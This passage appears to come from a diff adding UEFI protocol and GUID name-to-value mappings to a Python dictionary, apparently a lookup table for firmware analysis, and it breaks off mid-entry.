'EFI_DXE_SMM_READY_TO_LOCK_PROTOCOL_GUID': [0x60ff8964, 0xe906, 0x41d0, 0xaf, 0xed, 0xf2, 0x41, 0xe9, 0x74, 0xe0, 0x8e], + 'EFI_EBC_INTERPRETER_PROTOCOL_GUID': [0x13AC6DD1, 0x73D0, 0x11D4, 0xB0, 0x6B, 0x00, 0xAA, 0x00, 0xBD, 0x6D, 0xE7], + 'EFI_EDID_ACTIVE_PROTOCOL_GUID': [0xbd8c1056, 0x9f36, 0x44ec, 0x92, 0xa8, 0xa6, 0x33, 0x7f, 0x81, 0x79, 0x86], + 'EFI_EDID_DISCOVERED_PROTOCOL_GUID': [0x1c0c34f6, 0xd380, 0x41fa, 0xa0, 0x49, 0x8a, 0xd0, 0x6c, 0x1a, 0x66, 0xaa], + 'EFI_EDID_OVERRIDE_PROTOCOL_GUID': [0x48ecb431, 0xfb72, 0x45c0, 0xa9, 0x22, 0xf4, 0x58, 0xfe, 0x4, 0xb, 0xd5], + 'EFI_EMUL6064KBDINPUT_PROTOCOL_GUID': [0x62ceef5a, 0x1d7c, 0x4943, 0x9b, 0x3a, 0x95, 0xe2, 0x49, 0x4c, 0x89, 0x90], + 'EFI_EMUL6064MSINPUT_PROTOCOL_GUID': [0x7578b307, 0xb25b, 0x44f9, 0x89, 0x2e, 0x20, 0x9b, 0x0e, 0x39, 0x93, 0xc6], + 'EFI_EMUL6064TRAP_PROTOCOL_GUID': [0x6ea0f71c, 0x614a, 0x437e, 0x8f, 0x49, 0x24, 0x3a, 0xd4, 0xe8, 0x32, 0x68], + 'EFI_EVENT_LEGACY_BOOT_GUID': [0x2a571201, 0x4966, 0x47f6, 0x8b, 0x86, 0xf3, 0x1e, 0x41, 0xf3, 0x2f, 0x10], + 'EFI_EXTENDED_SAL_BASE_IO_SERVICES_PROTOCOL_GUID': [0x5aea42b5, 0x31e1, 0x4515, 0xbc, 0x31, 0xb8, 0xd5, 0x25, 0x75, 0x65, 0xa6], + 'EFI_EXTENDED_SAL_BASE_SERVICES_PROTOCOL_GUID': [0xd9e9fa06, 0x0fe0, 0x41c3, 0x96, 0xfb, 0x83, 0x42, 0x5a, 0x33, 0x94, 0xf8], + 'EFI_EXTENDED_SAL_CACHE_SERVICES_PROTOCOL_GUID': [0xedc9494, 0x2743, 0x4ba5, 0x88, 0x18, 0x0a, 0xef, 0x52, 0x13, 0xf1, 0x88], + 'EFI_EXTENDED_SAL_ELOG_SERVICES_PROTOCOL_GUID': [0xd5e4ee5f, 0x3e0a, 0x453c, 0xa7, 0x25, 0xb6, 0x92, 0xbb, 0x6, 0x36, 0x5a], + 'EFI_EXTENDED_SAL_FV_BLOCK_SERVICES_PROTOCOL_GUID': [0xa2271df1, 0xbcbb, 0x4f1d, 0x98, 0xa9, 0x06, 0xbc, 0x17, 0x2f, 0x07, 0x1a], + 'EFI_EXTENDED_SAL_LOCK_SERVICES_PROTOCOL_GUID': [0x76b75c23, 0xfe4f, 0x4e17, 0xa2, 0xad, 0x1a, 0x65, 0x3d, 0xbb, 0x49, 0x4a], + 'EFI_EXTENDED_SAL_MCA_LOG_SERVICES_PROTOCOL_GUID': [0xcb3fd86e, 0x38a3, 0x4c03, 0x9a, 0x5c, 0x90, 0xcf, 0xa3, 0xa2, 0xab, 0x7a], + 'EFI_EXTENDED_SAL_MCA_SERVICES_PROTOCOL_GUID': [0x2a591128, 0x6cc7, 0x42b1, 0x8a, 0xf0, 0x58, 0x93, 0x3b, 0x68, 0x2d, 0xbb], + 'EFI_EXTENDED_SAL_MP_SERVICES_PROTOCOL_GUID': [0x697d81a2, 0xcf18, 0x4dc0, 0x9e, 0x0d, 0x06, 0x11, 0x3b, 0x61, 0x8a, 0x3f], + 'EFI_EXTENDED_SAL_MTC_SERVICES_PROTOCOL_GUID': [0x899afd18, 0x75e8, 0x408b, 0xa4, 0x1a, 0x6e, 0x2e, 0x7e, 0xcd, 0xf4, 0x54], + 'EFI_EXTENDED_SAL_PAL_SERVICES_PROTOCOL_GUID': [0xe1cd9d21, 0x0fc2, 0x438d, 0x97, 0x03, 0x04, 0xe6, 0x6d, 0x96, 0x1e, 0x57], + 'EFI_EXTENDED_SAL_PCI_SERVICES_PROTOCOL_GUID': [0xa46b1a31, 0xad66, 0x4905, 0x92, 0xf6, 0x2b, 0x46, 0x59, 0xdc, 0x30, 0x63], + 'EFI_EXTENDED_SAL_RESET_SERVICES_PROTOCOL_GUID': [0x7d019990, 0x8ce1, 0x46f5, 0xa7, 0x76, 0x3c, 0x51, 0x98, 0x67, 0x6a, 0xa0], + 'EFI_EXTENDED_SAL_RTC_SERVICES_PROTOCOL_GUID': [0x7e97a470, 0xefdb, 0x4d02, 0x8f, 0xce, 0x61, 0x90, 0xd2, 0x7b, 0xa2, 0x96], + 'EFI_EXTENDED_SAL_SENSOR_SERVICES_PROTOCOL_GUID': [0x4a153b6e, 0x85a1, 0x4982, 0x98, 0xf4, 0x6a, 0x8c, 0xfc, 0xa4, 0xab, 0xa1], + 'EFI_EXTENDED_SAL_SM_COM_LAYER_SERVICES_PROTOCOL_GUID': [0x4356799, 0x81b7, 0x4e08, 0xa3, 0x8d, 0xd9, 0x78, 0xfa, 0x47, 0xba, 0x42], + 'EFI_EXTENDED_SAL_SST_GUID': [0x38802700, 0x868a, 0x4b4e, 0x81, 0xd4, 0x4f, 0x1b, 0xdc, 0xcf, 0xb4, 0x6f], + 'EFI_EXTENDED_SAL_STALL_SERVICES_PROTOCOL_GUID': [0x53a58d06, 0xac27, 0x4d8c, 0xb5, 0xe9, 0xf0, 0x8a, 0x80, 0x65, 0x41, 0x70], + 'EFI_EXTENDED_SAL_STATUS_CODE_SERVICES_PROTOCOL_GUID': [0xdbd91d, 0x55e9, 0x420f, 0x96, 0x39, 0x5e, 0x9f, 0x84, 0x37, 0xb4, 0x4f], + 'EFI_EXTENDED_SAL_VARIABLE_SERVICES_PROTOCOL_GUID': [0x4ecb6c53, 0xc641, 0x4370, 0x8c, 0xb2, 0x3b, 0x0e, 0x49, 0x6e, 0x83, 0x78], + 'EFI_EXTENDED_SAL_VIRTUAL_SERVICES_PROTOCOL_GUID': [0xc1a74056, 0x260e, 0x4871, 0xa0, 0x31, 0xe6, 0x45, 0xa6, 0x5b, 0x6e, 0x11], + 'EFI_EXT_SCSI_PASS_THRU_PROTOCOL_GUID': [0x143b7632, 0xb81b, 0x4cb7, 0xab, 0xd3, 0xb6, 0x25, 0xa5, 0xb9, 0xbf, 0xfe], + 'EFI_FAULT_TOLERANT_WRITE_PROTOCOL_GUID': [0x3ebd9e82, 0x2c78, 0x4de6, 0x97, 0x86, 0x8d, 0x4b, 0xfc, 0xb7, 0xc8, 0x81], + 'EFI_FFS_VOLUME_TOP_FILE_GUID': [0x1BA0062E, 0xC779, 0x4582, 0x85, 0x66, 0x33, 0x6A, 0xE8, 0xF7, 0x8F, 0x9], + 'EFI_FILE_SYSTEM_INFO_ID_GUID': [0x9576e93, 0x6d3f, 0x11d2, 0x8e, 0x39, 0x0, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'EFI_FILE_SYSTEM_VOLUME_LABEL_INFO_ID_GUID': [0xDB47D7D3, 0xFE81, 0x11d3, 0x9A, 0x35, 0x00, 0x90, 0x27, 0x3F, 0xC1, 0x4D], + 'EFI_FIND_FV_PPI_GUID': [0x36164812, 0xa023, 0x44e5, 0xbd, 0x85, 0x5, 0xbf, 0x3c, 0x77, 0x0, 0xaa], + 'EFI_FIRMWARE_FILE_SYSTEM2_GUID': [0x8c8ce578, 0x8a3d, 0x4f1c, 0x99, 0x35, 0x89, 0x61, 0x85, 0xc3, 0x2d, 0xd3], + 'EFI_FIRMWARE_FILE_SYSTEM_GUID': [0x7A9354D9, 0x0468, 0x444a, 0x81, 0xCE, 0x0B, 0xF6, 0x17, 0xD8, 0x90, 0xDF], + 'EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID': [0x220e73b6, 0x6bdb, 0x4413, 0x84, 0x5, 0xb9, 0x74, 0xb1, 0x8, 0x61, 0x9a], + 'EFI_FIRMWARE_VOLUME_BLOCK2_PROTOCOL_GUID': [0x8f644fa9, 0xe850, 0x4db1, 0x9c, 0xe2, 0xb, 0x44, 0x69, 0x8e, 0x8d, 0xa4], + 'EFI_FIRMWARE_VOLUME_BLOCK_PROTOCOL_GUID': [0x8f644fa9, 0xe850, 0x4db1, 0x9c, 0xe2, 0xb, 0x44, 0x69, 0x8e, 0x8d, 0xa4], + 'EFI_FIRMWARE_VOLUME_DISPATCH_PROTOCOL_GUID': [0x7aa35a69, 0x506c, 0x444f, 0xa7, 0xaf, 0x69, 0x4b, 0xf5, 0x6f, 0x71, 0xc8], + 'EFI_FIRMWARE_VOLUME_PROTOCOL_GUID': [0x389F751F, 0x1838, 0x4388, 0x83, 0x90, 0xCD, 0x81, 0x54, 0xBD, 0x27, 0xF8], + 'EFI_FORM_BROWSER2_PROTOCOL_GUID': [0xb9d4c360, 0xbcfb, 0x4f9b, 0x92, 0x98, 0x53, 0xc1, 0x36, 0x98, 0x22, 0x58], + 'EFI_FORM_BROWSER_PROTOCOL_GUID': [0xe5a1333e, 0xe1b4, 0x4d55, 0xce, 0xeb, 0x35, 0xc3, 0xef, 0x13, 0x34, 0x43], + 'EFI_FORM_CALLBACK_PROTOCOL_GUID': [0xf3e4543d, 0xcf35, 0x6cef, 0x35, 0xc4, 0x4f, 0xe6, 0x34, 0x4d, 0xfc, 0x54], + 'EFI_FRAMEWORK_DEVICE_PATH_GUID': [0xb7084e63, 0x46b7, 0x4d1a, 0x86, 0x77, 0xe3, 0x0b, 0x53, 0xdb, 0xf0, 0x50], + 'EFI_FTW_LITE_PROTOCOL_GUID': [0x3f557189, 0x8dae, 0x45ae, 0xa0, 0xb3, 0x2b, 0x99, 0xca, 0x7a, 0xa7, 0xa0], + 'EFI_FVB_EXTENSION_PROTOCOL_GUID': [0x53a4c71b, 0xb581, 0x4170, 0x91, 0xb3, 0x8d, 0xb8, 0x7a, 0x4b, 0x5c, 0x46], + 'EFI_GENERIC_MEMORY_TEST_PROTOCOL_GUID': [0x309de7f1, 0x7f5e, 0x4ace, 0xb4, 0x9c, 0x53, 0x1b, 0xe5, 0xaa, 0x95, 0xef], + 'EFI_GENERIC_VARIABLE_GUID': [0x59d1c24f, 0x50f1, 0x401a, 0xb1, 0x01, 0xf3, 0x3e, 0x0d, 0xae, 0xd4, 0x43], + 'EFI_GLOBAL_NVS_AREA_PROTOCOL_GUID': [0x74e1e48, 0x8132, 0x47a1, 0x8c, 0x2c, 0x3f, 0x14, 0xad, 0x9a, 0x66, 0xdc], + 'EFI_GLOBAL_VARIABLE_GUID': [0x8BE4DF61, 0x93CA, 0x11D2, 0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x03, 0x2B, 0x8C], + 'EFI_GLOBAL_VARIABLE_GUID': [0x8BE4DF61, 0x93CA, 0x11d2, 0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x03, 0x2B, 0x8C], + 'EFI_GPIO_PROTOCOL_GUID': [0xb5d09084, 0x80ad, 0x4759, 0xb5, 0x1c, 0x27, 0x54, 0x8a, 0xfb, 0x8b, 0x8d], + 'EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID': [0x9042a9de, 0x23dc, 0x4a38, 0x96, 0xfb, 0x7a, 0xde, 0xd0, 0x80, 0x51, 0x6a], + 'EFI_GUID': [0x00720665, 0x67EB, 0x4a99, 0xBA, 0xF7, 0xD3, 0xC3, 0x3A, 0x1C, 0x7C, 0xC9], + 'EFI_GUID': [0x0f729f33, 0x25c1, 0x41a7, 0x86, 0xb2, 0x23, 0xa7, 0x37, 0xa9, 0x18, 0x23], + 'EFI_GUID': [0x142204e2, 0xc7b1, 0x4af9, 0xa7, 0x29, 0x92, 0x37, 0x58, 0xd9, 0x6d, 0x3], + 'EFI_GUID': [0x17088572, 0x377F, 0x44ef, 0x8F, 0x4E, 0xB0, 0x9F, 0xFF, 0x46, 0xA0, 0x70], + 'EFI_GUID': [0x17088572, 0x377F, 0x44ef, 0x8F, 0x4E, 0xB0, 0x9F, 0xFF, 0x46, 0xA0, 0x70], + 'EFI_GUID': [0x1E753E16, 0xDCEF, 0x47d0, 0x9A, 0x38, 0x7A, 0xDE, 0xCD, 0xB9, 0x83, 0xED], + 'EFI_GUID': [0x1d3de7f0, 0x0807, 0x424f, 0xaa, 0x69, 0x11, 0xa5, 0x4e, 0x19, 0xa4, 0x6f], + 'EFI_GUID': [0x1e93e633, 0xd65a, 0x459e, 0xab, 0x84, 0x93, 0xd9, 0xec, 0x26, 0x6d, 0x18], + 'EFI_GUID': [0x220ac432, 0x1d43, 0x49e5, 0xa7, 0x4f, 0x4c, 0x9d, 0xa6, 0x7a, 0xd2, 0x3b], + 'EFI_GUID': [0x2362ea9c, 0x84e5, 0x4dff, 0x83, 0xbc, 0xb5, 0xac, 0xec, 0xb5, 0x7c, 0xbb], + 'EFI_GUID': [0x2FE800BE, 0x8F01, 0x4aa6, 0x94, 0x6B, 0xD7, 0x13, 0x88, 0xE1, 0x83, 0x3F], + 'EFI_GUID': [0x2ae9d80f, 0x3fb2, 0x4095, 0xb7, 0xb1, 0xe9, 0x31, 0x57, 0xb9, 0x46, 0xb6], + 'EFI_GUID': [0x379be4e, 0xd706, 0x437d, 0xb0, 0x37, 0xed, 0xb8, 0x2f, 0xb7, 0x72, 0xa4], + 'EFI_GUID': [0x3B6686BD, 0x0D76, 0x4030, 0xB7, 0x0E, 0xB5, 0x51, 0x9E, 0x2F, 0xC5, 0xA0], + 'EFI_GUID': [0x3ad9df29, 0x4501, 0x478d, 0xb1, 0xf8, 0x7f, 0x7f, 0xe7, 0x0e, 0x50, 0xf3], + 'EFI_GUID': [0x3b95aa31, 0x3793, 0x434b, 0x86, 0x67, 0xc8, 0x07, 0x08, 0x92, 0xe0, 0x5e], + 'EFI_GUID': [0x3e745226, 0x9818, 0x45b6, 0xa2, 0xac, 0xd7, 0xcd, 0x0e, 0x8b, 0xa2, 0xbc], + 'EFI_GUID': [0x41d94cd2, 0x35b6, 0x455a, 0x82, 0x58, 0xd4, 0xe5, 0x13, 0x34, 0xaa, 0xdd], + 'EFI_GUID': [0x42881c98, 0xa4f3, 0x44b0, 0xa3, 0x9d, 0xdf, 0xa1, 0x86, 0x67, 0xd8, 0xcd], + 'EFI_GUID': [0x4599d26f, 0x1a11, 0x49b8, 0xb9, 0x1f, 0x85, 0x87, 0x45, 0xcf, 0xf8, 0x24], + 'EFI_GUID': [0x45d68db9, 0x8b4e, 0x48c0, 0x99, 0xe9, 0xf2, 0x1f, 0x26, 0x2d, 0xb6, 0x53], + 'EFI_GUID': [0x4d330321, 0x025f, 0x4aac, 0x90, 0xd8, 0x5e, 0xd9, 0x00, 0x17, 0x3b, 0x63], + 'EFI_GUID': [0x4eaaaa1, 0x29a1, 0x11d7, 0x88, 0x38, 0x0, 0x50, 0x4, 0x73, 0xd4, 0xeb], + 'EFI_GUID': [0x4ed4bf27, 0x4092, 0x42e9, 0x80, 0x7d, 0x52, 0x7b, 0x1d, 0x00, 0xc9, 0xbd], + 'EFI_GUID': [0x51aa59de, 0xfdf2, 0x4ea3, 0xbc, 0x63, 0x87, 0x5f, 0xb7, 0x84, 0x2e, 0xe9], + 'EFI_GUID': [0x560bf58a, 0x1e0d, 0x4d7e, 0x95, 0x3f, 0x29, 0x80, 0xa2, 0x61, 0xe0, 0x31], + 'EFI_GUID': [0x564b33cd, 0xc92a, 0x4593, 0x90, 0xbf, 0x24, 0x73, 0xe4, 0x3c, 0x63, 0x22], + 'EFI_GUID': [0x5c99a21, 0xc70f, 0x4ad2, 0x8a, 0x5f, 0x35, 0xdf, 0x33, 0x43, 0xf5, 0x1e], + 'EFI_GUID': [0x6298fe18, 0xd5ef, 0x42b7, 0xbb, 0xc, 0x29, 0x53, 0x28, 0x3f, 0x57, 0x4], + 'EFI_GUID': [0x65530BC7, 0xA359, 0x410f, 0xB0, 0x10, 0x5A, 0xAD, 0xC7, 0xEC, 0x2B, 0x62], + 'EFI_GUID': [0x7671d9d0, 0x53db, 0x4173, 0xaa, 0x69, 0x23, 0x27, 0xf2, 0x1f, 0x0b, 0xc7], + 'EFI_GUID': [0x7d113aa9, 0x6280, 0x48c6, 0xba, 0xce, 0xdf, 0xe7, 0x66, 0x8e, 0x83, 0x7], + 'EFI_GUID': [0x83f01464, 0x99bd, 0x45e5, 0xb3, 0x83, 0xaf, 0x63, 0x05, 0xd8, 0xe9, 0xe6], + 'EFI_GUID': [0x878AC2CC, 0x5343, 0x46F2, 0xB5, 0x63, 0x51, 0xF8, 0x9D, 0xAF, 0x56, 0xBA], + 'EFI_GUID': [0x8983fd2d, 0x113c, 0x4e2b, 0x8f, 0x47, 0xa, 0xbf, 0xeb, 0x20, 0xa4, 0x1a], + 'EFI_GUID': [0x8a219718, 0x4ef5, 0x4761, 0x91, 0xc8, 0xc0, 0xf0, 0x4b, 0xda, 0x9e, 0x56], + 'EFI_GUID': [0x8b843e20, 0x8132, 0x4852, 0x90, 0xcc, 0x55, 0x1a, 0x4e, 0x4a, 0x7f, 0x1c], + 'EFI_GUID': [0x8df01a06, 0x9bd5, 0x4bf7, 0xb0, 0x21, 0xdb, 0x4f, 0xd9, 0xcc, 0xf4, 0x5b], + 'EFI_GUID': [0x8ff925f1, 0x8624, 0x4d38, 0x9e, 0xd2, 0xf8, 0xf5, 0xaa, 0x94, 0xf8, 0x4a], + 'EFI_GUID': [0x97e409e6, 0x4cc1, 0x11d9, 0x81, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], + 'EFI_GUID': [0x98B8D59B, 0xE8BA, 0x48EE, 0x98, 0xDD, 0xC2, 0x95, 0x39, 0x2F, 0x1E, 0xDB], + 'EFI_GUID': [0x9cc55d7d, 0xfbff, 0x431c, 0xbc, 0x14, 0x33, 0x4e, 0xae, 0xa6, 0x5, 0x2b], + 'EFI_GUID': [0x9d7a05e9, 0xf740, 0x44c3, 0x85, 0x8b, 0x75, 0x58, 0x6a, 0x8f, 0x9c, 0x8e], + 'EFI_GUID': [0x9d9a39d8, 0xbd42, 0x4a73, 0xa4, 0xd5, 0x8e, 0xe9, 0x4b, 0xe1, 0x13, 0x80], + 'EFI_GUID': [0x9fe7de69, 0xaea, 0x470a, 0xb5, 0xa, 0x13, 0x98, 0x13, 0x64, 0x91, 0x89], + 'EFI_GUID': [0xCC0F8A3F, 0x3DEA, 0x4376, 0x96, 0x79, 0x54, 0x26, 0xba, 0x0a, 0x90, 0x7e], + 'EFI_GUID': [0xa6a72875, 0x2962, 0x4c18, 0x9f, 0x46, 0x8d, 0xa6, 0x44, 0xcc, 0xfe, 0x00], + 'EFI_GUID': [0xaa31bc6, 0x3379, 0x41e8, 0x82, 0x5a, 0x53, 0xf8, 0x2c, 0xc0, 0xf2, 0x54], + 'EFI_GUID': [0xabb74f50, 0xfd2d, 0x4072, 0xa3, 0x21, 0xca, 0xfc, 0x72, 0x97, 0x7e, 0xfa], + 'EFI_GUID': [0xaf7c79c, 0x65b5, 0x4319, 0xb0, 0xae, 0x44, 0xec, 0x48, 0x4e, 0x4a, 0xd7], + 'EFI_GUID': [0xbb2f3c9d, 0xc7a1, 0x4283, 0x8a, 0xe2, 0x4f, 0x43, 0x62, 0x99, 0x0e, 0x2e], + 'EFI_GUID': [0xbfd7dc1d, 0x24f1, 0x40d9, 0x82, 0xe7, 0x2e, 0x09, 0xbb, 0x6b, 0x4e, 0xbe], + 'EFI_GUID': [0xc1bdd34e, 0x9ec0, 0x48aa, 0x80, 0x6a, 0x6c, 0x2e, 0xba, 0x0d, 0xc4, 0x45], + 'EFI_GUID': [0xc280c73e, 0x15ca, 0x11da, 0xb0, 0xca, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d], + 'EFI_GUID': [0xc51711e7, 0xb4bf, 0x404a, 0xbf, 0xb8, 0x0a, 0x04, 0x8e, 0xf1, 0xff, 0xe4], + 'EFI_GUID': [0xc5184932, 0xdba5, 0x46db, 0xa5, 0xba, 0xcc, 0x0b, 0xda, 0x9c, 0x14, 0x35], + 'EFI_GUID': [0xcaa4381e, 0x750c, 0x4770, 0xb8, 0x70, 0x7a, 0x23, 0xb4, 0xe4, 0x21, 0x30], + 'EFI_GUID': [0xd6062b50, 0x15ca, 0x11da, 0x92, 0x19, 0x00, 0x10, 0x83, 0xff, 0xca, 0x4d], + 'EFI_GUID': [0xd84beff0, 0x159a, 0x4b60, 0x9a, 0xb9, 0xac, 0x5c, 0x47, 0x4b, 0xd3, 0xb1], + 'EFI_GUID': [0xdbc9fd21, 0xfad8, 0x45b0, 0x9e, 0x78, 0x27, 0x15, 0x88, 0x67, 0xcc, 0x93], + 'EFI_GUID': [0xe6f4f8f7, 0x4992, 0x47b2, 0x83, 0x2, 0x85, 0x8, 0x74, 0x5e, 0x4a, 0x23], + 'EFI_GUID': [0xedd35e31, 0x7b9, 0x11d2, 0x83, 0xa3, 0x00, 0xa0, 0xc9, 0x1f, 0xad, 0xcf], + 'EFI_GUID': [0xefa96432, 0xde33, 0x4dd2, 0xae, 0xe6, 0x32, 0x8c, 0x33, 0xdf, 0x77, 0x7a], + 'EFI_GUID': [0xf328e36c, 0x23b6, 0x4a95, 0x85, 0x4b, 0x32, 0xe1, 0x95, 0x34, 0xcd, 0x75], + 'EFI_GUID': [0xf36ff770, 0xa7e1, 0x42cf, 0x9e, 0xd2, 0x56, 0xf0, 0xf2, 0x71, 0xf4, 0x4c], + 'EFI_GUID': [0xf44c00ee, 0x1f2c, 0x4a00, 0xaa, 0x09, 0x1c, 0x9f, 0x3e, 0x08, 0x00, 0xa3], + 'EFI_GUID': [0xf4b427bb, 0xba21, 0x4f16, 0xbc, 0x4e, 0x43, 0xe4, 0x16, 0xab, 0x61, 0x9c], + 'EFI_GUID': [0xf8e21975, 0x0899, 0x4f58, 0xa4, 0xbe, 0x55, 0x25, 0xa9, 0xc6, 0xd7, 0x7a], + 'EFI_GUID': [0xfbf95065, 0x427f, 0x47b3, 0x80, 0x77, 0xd1, 0x3c, 0x60, 0x71, 0x9, 0x98], + 'EFI_GUID': [0xfd44820b, 0xf1ab, 0x41c0, 0xae, 0x4e, 0x0c, 0x55, 0x55, 0x6e, 0xb9, 0xbd], + 'EFI_HARDWARE_ERROR_VARIABLE_GUID': [0x414E6BDD, 0xE47B, 0x47cc, 0xB2, 0x44, 0xBB, 0x61, 0x02, 0x0C, 0xF5, 0x16], + 'EFI_HASH_ALGORITHM_SHA1_GUID': [0x2ae9d80f, 0x3fb2, 0x4095, 0xb7, 0xb1, 0xe9, 0x31, 0x57, 0xb9, 0x46, 0xb6], + 'EFI_HASH_ALGORITHM_SHA224_GUID': [0x8df01a06, 0x9bd5, 0x4bf7, 0xb0, 0x21, 0xdb, 0x4f, 0xd9, 0xcc, 0xf4, 0x5b], + 'EFI_HASH_ALGORITHM_SHA256_GUID': [0x51aa59de, 0xfdf2, 0x4ea3, 0xbc, 0x63, 0x87, 0x5f, 0xb7, 0x84, 0x2e, 0xe9], + 'EFI_HASH_ALGORITHM_SHA384_GUID': [0xefa96432, 0xde33, 0x4dd2, 0xae, 0xe6, 0x32, 0x8c, 0x33, 0xdf, 0x77, 0x7a], + 'EFI_HASH_ALGORITHM_SHA512_GUID': [0xcaa4381e, 0x750c, 0x4770, 0xb8, 0x70, 0x7a, 0x23, 0xb4, 0xe4, 0x21, 0x30], + 'EFI_HASH_ALGORTIHM_MD5_GUID': [0xaf7c79c, 0x65b5, 0x4319, 0xb0, 0xae, 0x44, 0xec, 0x48, 0x4e, 0x4a, 0xd7], + 'EFI_HASH_PROTOCOL_GUID': [0xc5184932, 0xdba5, 0x46db, 0xa5, 0xba, 0xcc, 0x0b, 0xda, 0x9c, 0x14, 0x35], + 'EFI_HASH_SERVICE_BINDING_PROTOCOL_GUID': [0x42881c98, 0xa4f3, 0x44b0, 0xa3, 0x9d, 0xdf, 0xa1, 0x86, 0x67, 0xd8, 0xcd], + 'EFI_HII_CONFIG_ACCESS_PROTOCOL_GUID': [0x330d4706, 0xf2a0, 0x4e4f, 0xa3, 0x69, 0xb6, 0x6f, 0xa8, 0xd5, 0x43, 0x85], + 'EFI_HII_CONFIG_ROUTING_PROTOCOL_GUID': [0x587e72d7, 0xcc50, 0x4f79, 0x82, 0x09, 0xca, 0x29, 0x1f, 0xc1, 0xa1, 0x0f], + 'EFI_HII_DATABASE_PROTOCOL_GUID': [0xef9fc172, 0xa1b2, 0x4693, 0xb3, 0x27, 0x6d, 0x32, 0xfc, 0x41, 0x60, 0x42], + 'EFI_HII_DRIVER_HEALTH_FORMSET_GUID': [0xf22fc20c, 0x8cf4, 0x45eb, 0x8e, 0x6, 0xad, 0x4e, 0x50, 0xb9, 0x5d, 0xd3], + 'EFI_HII_EXT_PROTOCOL_GUID': [0x2a57ae75, 0x8b7a, 0x4c64, 0x86, 0x56, 0xdb, 0x51, 0xdd, 0xc3, 0x6f, 0x7b], + 'EFI_HII_FONT_PROTOCOL_GUID': [0xe9ca4775, 0x8657, 0x47fc, 0x97, 0xe7, 0x7e, 0xd6, 0x5a, 0x8, 0x43, 0x24], + 'EFI_HII_FRONT_PAGE_CLASS_GUID': [0x94d411b7, 0x7669, 0x45c3, 0xba, 0x3b, 0xf3, 0xa5, 0x8a, 0x71, 0x56, 0x81], + 'EFI_HII_IMAGE_PROTOCOL_GUID': [0x31a6406a, 0x6bdf, 0x4e46, 0xb2, 0xa2, 0xeb, 0xaa, 0x89, 0xc4, 0x9, 0x20], + 'EFI_HII_NEW_PROTOCOL_GUID': [0xea816d2c, 0xcee5, 0x4f02, 0x99, 0xb5, 0xd3, 0x90, 0x5c, 0xbb, 0xd0, 0x77], + 'EFI_HII_OLD_PROTOCOL_GUID': [0xcd361957, 0xafbe, 0x425e, 0xa3, 0x58, 0x5f, 0x58, 0x89, 0xcf, 0xfe, 0x7b], + 'EFI_HII_PACKAGE_LIST_PROTOCOL_GUID': [0x6a1ee763, 0xd47a, 0x43b4, 0xaa, 0xbe, 0xef, 0x1d, 0xe2, 0xab, 0x56, 0xfc], + 'EFI_HII_PLATFORM_SETUP_FORMSET_GUID': [0x93039971, 0x8545, 0x4b04, 0xb4, 0x5e, 0x32, 0xeb, 0x83, 0x26, 0x4, 0xe], + 'EFI_HII_PLATFORM_SETUP_FORMSET_GUID': [0x93039971, 0x8545, 0x4b04, 0xb4, 0x5e, 0x32, 0xeb, 0x83, 0x26, 0x4, 0xe], + 'EFI_HII_PROTOCOL_GUID': [0xd7ad636e, 0xb997, 0x459b, 0xbf, 0x3f, 0x88, 0x46, 0x89, 0x79, 0x80, 0xe1], + 'EFI_HII_SET_KEYBOARD_LAYOUT_EVENT_GUID': [0x14982a4f, 0xb0ed, 0x45b8, 0xa8, 0x11, 0x5a, 0x7a, 0x9b, 0xc2, 0x32, 0xdf], + 'EFI_HII_STRING_PROTOCOL_GUID': [0xfd96974, 0x23aa, 0x4cdc, 0xb9, 0xcb, 0x98, 0xd1, 0x77, 0x50, 0x32, 0x2a], + 'EFI_HII_USER_CREDENTIAL_FORMSET_GUID': [0x337f4407, 0x5aee, 0x4b83, 0xb2, 0xa7, 0x4e, 0xad, 0xca, 0x30, 0x88, 0xcd], + 'EFI_HOB_LIST_GUID': [0x7739f24c, 0x93d7, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_HOB_MEMORY_ALLOC_BSP_STORE_GUID': [0x564b33cd, 0xc92a, 0x4593, 0x90, 0xbf, 0x24, 0x73, 0xe4, 0x3c, 0x63, 0x22], + 'EFI_HOB_MEMORY_ALLOC_BSP_STORE_GUID': [0x564b33cd, 0xc92a, 0x4593, 0x90, 0xbf, 0x24, 0x73, 0xe4, 0x3c, 0x63, 0x22], + 'EFI_HOB_MEMORY_ALLOC_STACK_GUID': [0x4ed4bf27, 0x4092, 0x42e9, 0x80, 0x7d, 0x52, 0x7b, 0x1d, 0x0, 0xc9, 0xbd], + 'EFI_HOB_MEMORY_ALLOC_STACK_GUID': [0x4ed4bf27, 0x4092, 0x42e9, 0x80, 0x7d, 0x52, 0x7b, 0x1d, 0x0, 0xc9, 0xbd], + 'EFI_HOT_KEYS_PROTOCOL_GUID': [0xf1e48287, 0x3fe1, 0x4535, 0x89, 0xab, 0x48, 0xd6, 0xc3, 0xda, 0x27, 0x59], + 'EFI_HT_BIST_HOB_GUID': [0xbe644001, 0xe7d4, 0x48b1, 0xb0, 0x96, 0x8b, 0xa0, 0x47, 0xbc, 0x7a, 0xe7], + 'EFI_IDER_CONTROLLER_DRIVER_PROTOCOL_GUID': [0x956a2ed0, 0xa6cf, 0x409a, 0xb8, 0xf5, 0x35, 0xf1, 0x4c, 0x3e, 0x3c, 0x2], + 'EFI_IDE_CONTROLLER_INIT_PROTOCOL_GUID': [0xa1e37052, 0x80d9, 0x4e65, 0xa3, 0x17, 0x3e, 0x9a, 0x55, 0xc4, 0x3e, 0xc9], + 'EFI_IFR_TIANO_GUID': [0xf0b1735, 0x87a0, 0x4193, 0xb2, 0x66, 0x53, 0x8c, 0x38, 0xaf, 0x48, 0xce], + 'EFI_IMAGE_SECURITY_DATABASE_GUID': [0xd719b2cb, 0x3d3a, 0x4596, 0xa3, 0xbc, 0xda, 0xd0, 0xe, 0x67, 0x65, 0x6f], + 'EFI_INCOMPATIBLE_PCI_DEVICE_SUPPORT_PROTOCOL_GUID': [0xeb23f55a, 0x7863, 0x4ac2, 0x8d, 0x3d, 0x95, 0x65, 0x35, 0xde, 0x03, 0x75], + 'EFI_INTEL_MFG_FORMAT_FRU_GUID': [0x79e8c9c7, 0x1152, 0x4f00, 0xb8, 